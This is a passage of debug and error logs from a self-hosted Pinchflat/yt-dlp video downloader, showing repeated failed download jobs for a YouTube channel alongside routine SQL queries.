res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/08/8d/088d226dbfc5bcbb3dc5555124ae9a9551d0acb0935462f80f8dca96a593985a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:00:12.038 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:00:12.039 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":13722307,"event":"job:exception","queue_time":96319325,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:12.045 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774998012045336069,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:12.045 [debug] QUERY OK source="media_items" db=0.1ms idle=1524.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:00:12.045 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:00:12.046 [debug] QUERY OK source="sources" db=0.1ms idle=1279.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:00:12.046 [debug] QUERY OK source="media_profiles" db=0.1ms idle=277.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:00:12.047 [debug] QUERY OK source="media_items" db=0.2ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:00:12.047 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:00:12.047 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:00:12.048 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:12.048 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:12.048 [debug] Running yt-dlp command for action: get_downloadable_status 19:00:12.049 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:12.049 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:12.049 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:12.049 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2d/f3/2df3d890cabcaae7b4d991bae65c8ffdb20bd3d25748d8ae55d33cbe8080be42.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:17.217 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2d/f3/2df3d890cabcaae7b4d991bae65c8ffdb20bd3d25748d8ae55d33cbe8080be42.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:00:17.218 [debug] Running yt-dlp command for action: download 19:00:17.218 [debug] QUERY OK source="settings" db=0.1ms idle=1697.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:17.218 [debug] QUERY OK source="settings" db=0.1ms idle=1697.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:17.219 [debug] QUERY OK source="settings" db=0.0ms idle=1698.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:17.219 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/99/f5/99f56da85ed5417dcb2c13ed323cabe72ff30c469d7f0016dc935ead58b0787a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:19.970 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:49.971 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.969 [info] {"source":"oban","duration":341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:01:02.094 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/99/f5/99f56da85ed5417dcb2c13ed323cabe72ff30c469d7f0016dc935ead58b0787a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:01:02.094 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:01:02.094 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":50048947,"event":"job:exception","queue_time":60155516,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:01:02.101 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774998062101306543,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:01:02.101 [debug] QUERY OK source="media_items" db=0.1ms idle=580.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:01:02.101 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:01:02.102 [debug] QUERY OK source="sources" db=0.2ms idle=581.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:01:02.102 [debug] QUERY OK source="media_profiles" db=0.2ms idle=258.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:01:02.103 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:01:02.103 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:01:02.104 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:01:02.104 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:02.104 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:02.104 [debug] Running yt-dlp command for action: get_downloadable_status 19:01:02.105 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:02.105 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:02.105 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:02.105 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/36/26/36267809129975a33b2f601c32982d387818eb8c143b68ef3cf278b9d39f6aae.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:01:07.974 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/36/26/36267809129975a33b2f601c32982d387818eb8c143b68ef3cf278b9d39f6aae.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:01:07.974 [debug] Running yt-dlp command for action: download 19:01:07.974 [debug] QUERY OK source="settings" db=0.1ms idle=453.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:07.974 [debug] QUERY OK source="settings" db=0.1ms idle=454.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:07.975 [debug] QUERY OK source="settings" db=0.1ms idle=454.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:07.975 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/46/0c/460c11e8dd24680dcd3c66a31eaa5bef1ca71eae09cb91bc4f4cb1e36e53bfe1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:01:19.972 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:49.973 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.969 [info] {"source":"oban","duration":119,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:02:08.863 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/46/0c/460c11e8dd24680dcd3c66a31eaa5bef1ca71eae09cb91bc4f4cb1e36e53bfe1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:02:08.863 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:02:08.864 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":66762660,"event":"job:exception","queue_time":44790826,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:02:08.871 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774998128871148257,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:02:08.871 [debug] QUERY OK source="media_items" db=0.1ms idle=1350.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", 